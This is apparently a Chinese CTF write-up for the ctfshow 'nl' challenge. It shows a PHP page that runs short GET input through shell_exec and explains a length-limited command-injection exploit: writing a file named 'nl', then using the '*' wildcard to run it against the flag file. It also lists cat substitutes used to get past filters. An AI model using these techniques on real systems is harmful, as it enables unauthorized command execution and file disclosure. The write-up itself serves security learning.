Skip to content

Latest commit

 

History

History
58 lines (42 loc) · 1.34 KB

命令执行2020.8.11-ctfshow红包题-nl.md

File metadata and controls

58 lines (42 loc) · 1.34 KB

ctfshow 红包题-nl

考察命令执行

<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
     echo shell_exec($_GET[1]);
}
else{
     echo "hack!!!";
}
?>
//by Firebasky 

因为限制了长度,我们可以写入命令。?1=>nl。 然后ls查看一下文件内容,刚刚好第一个命令在前面。

在linux上测试

root@kail:~/test# >id
root@kail:~/test# >root
root@kail:~/test# ls
id root

原理:通配符*,会把第一个列出来的文件名当成命令,剩下的文件名当成参数

所以我们在输入1?=* 查看源代码获得flag

方法二:

通过 xz 命令改一改成压缩包 然后直接下载打开;

拓展:

思路:代替cat cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f

sort 命令用于将文本文件内容加以排序。

od od指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来。

base64 通过base64输出文件内容,

awk,cut,rev,grep,uniq,strings,sed等等